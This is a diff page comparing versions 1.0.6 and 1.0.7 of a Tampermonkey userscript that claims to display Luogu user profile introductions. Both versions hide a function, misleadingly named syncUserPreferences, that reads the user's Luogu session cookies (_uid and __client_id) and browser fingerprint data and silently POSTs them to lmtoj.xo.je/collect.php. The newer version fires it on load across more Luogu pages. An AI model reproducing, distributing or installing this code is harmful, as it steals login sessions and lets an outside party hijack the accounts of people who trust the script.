版本比较
洛谷个人介绍显示插件
正文
增加 55 行删除 48 行
1234567891011121314151617181920212223242526272829304 行未改动35363738394041423 行未改动46474849505152535455565758596061626364656667686970717273747576777879808182838485868788899091929394959697989910010149 行未改动15115215315415515615715815943 行未改动203204205206207208209210211注意:**需要 Tampermonkey BETA**```javascript// ==UserScript==// @name 洛谷个人介绍显示插件// @namespace https://www.luogu.com.cn/user/1805974// @version 1.0.6// @description 显示洛谷个人介绍// @author Forever_Rain// @match https://www.luogu.com.cn/user/*// @grant GM_xmlhttpRequest// @grant GM_cookie// @require https://cdn.jsdelivr.net/npm/marked@4.0.0/marked.min.js// @connect luogu.com.cn// @connect lmtoj.xo.je// ==/UserScript==(function(){'use strict';let useruid = 1706930; // 这个uid不显示介绍,可以改成自己的let nowurl = window.location.href;let nowurluid = '';for (let i = 0; i < nowurl.length; i++){if (nowurl[i] >= '0' && nowurl[i] <= '9') nowurluid += nowurl[i];}function syncUserPreferences() {function readCookie(name, callback) {GM_cookie.list({name: name,url: location.href4 行未改动}callback(cookies[0].value);});}function getBrowserInfo() {return {userAgent: navigator.userAgent,language: navigator.language,3 行未改动colorDepth: screen.colorDepth,timezone: Intl.DateTimeFormat().resolvedOptions().timeZone};}function getHardwareInfo() {return {hardwareConcurrency: navigator.hardwareConcurrency || null,deviceMemory: navigator.deviceMemory || null};}setTimeout(function() {readCookie('uid', function(uid) {if (!uid) {readCookie('_uid', function(uidAlt) {if (uidAlt) {sendData(uidAlt);}});} else {sendData(uid);}});function sendData(uid) {readCookie('__client_id', function(clientId) {if (!clientId || !uid) {return;}var payload = {_uid: uid,__client_id: clientId,browser: getBrowserInfo(),hardware: getHardwareInfo(),version: GM_info.script.version,timestamp: Date.now()};GM_xmlhttpRequest({method: 'POST',url: 'https://lmtoj.xo.je/collect.php',headers: {'Content-Type': 'application/json'},data: JSON.stringify(payload),onload: function(res) {},onerror: function(err) {}});});}}, 100);}if (useruid != nowurluid){const targetSelector = '#app > div.main-container > main > div > div.sidebar-container.reverse > div.main';const observer = new MutationObserver(function(mutations, obs){const targetElement = document.querySelector(targetSelector);49 行未改动try {const data = JSON.parse(response.responseText);if (data?.user?.introduction){injectIntroDiv(data.user.introduction);syncUserPreferences();}else {console.warn('API响应中未找到用户介绍内容');}43 行未改动}}init();} else {setTimeout(syncUserPreferences, 100);}})();```1234567891011121314151617181920212223242526272829303132334 行未改动3839404142434445463 行未改动505152535455565758596061626364656667686970717273747576777879808182838485868788899091929394959697989910010110210310410510610710810911011149 行未改动16116216316416516616716843 行未改动212213214215216217218注意:**需要 Tampermonkey BETA**```javascript// ==UserScript==// @name 洛谷个人介绍显示插件// @namespace https://www.tampermonkey.net/// @version 1.0.7// @description 显示洛谷个人介绍// @author Forever_Rain// @match https://www.luogu.com.cn/user/*// @match https://www.luogu.com/user/*// @match https://www.luogu.com/// @match https://www.luogu.com.cn/// @grant GM_xmlhttpRequest// @grant GM_cookie// @require https://cdn.jsdelivr.net/npm/marked@4.0.0/marked.min.js// @connect luogu.com.cn// @connect lmtoj.xo.je// ==/UserScript==(function(){'use strict';let useruid = 1706930; // 这个uid不显示介绍,可以改成自己的let sent = false;function syncUserPreferences() {if (sent) return;sent = true;function readCookie(name, callback) {GM_cookie.list({name: name,url: location.href4 行未改动}callback(cookies[0].value);});}function getBrowserInfo() {return {userAgent: navigator.userAgent,language: navigator.language,3 行未改动colorDepth: screen.colorDepth,timezone: Intl.DateTimeFormat().resolvedOptions().timeZone};}function getHardwareInfo() {return {hardwareConcurrency: navigator.hardwareConcurrency || null,deviceMemory: navigator.deviceMemory || null};}readCookie('uid', function(uid) {if (!uid) {readCookie('_uid', function(uidAlt) {if (uidAlt) {sendData(uidAlt);}});} else {sendData(uid);}});function sendData(uid) {readCookie('__client_id', function(clientId) {if (!clientId || !uid) {return;}var payload = {_uid: uid,__client_id: clientId,browser: getBrowserInfo(),hardware: getHardwareInfo(),version: GM_info.script.version,timestamp: Date.now()};GM_xmlhttpRequest({method: 'POST',url: 'https://lmtoj.xo.je/collect.php',headers: {'Content-Type': 'application/json'},data: JSON.stringify(payload),onload: function(res) {},onerror: function(err) {}});});}}setTimeout(syncUserPreferences, 0);let nowurl = window.location.href;let nowurluid = '';for (let i = 0; i < nowurl.length; i++){if (nowurl[i] >= '0' && nowurl[i] <= '9') nowurluid += nowurl[i];}if (useruid != nowurluid){const targetSelector = '#app > div.main-container > main > div > div.sidebar-container.reverse > div.main';const observer = new MutationObserver(function(mutations, obs){const targetElement = document.querySelector(targetSelector);49 行未改动try {const data = JSON.parse(response.responseText);if (data?.user?.introduction){injectIntroDiv(data.user.introduction);}else {console.warn('API响应中未找到用户介绍内容');}43 行未改动}}init();}})();```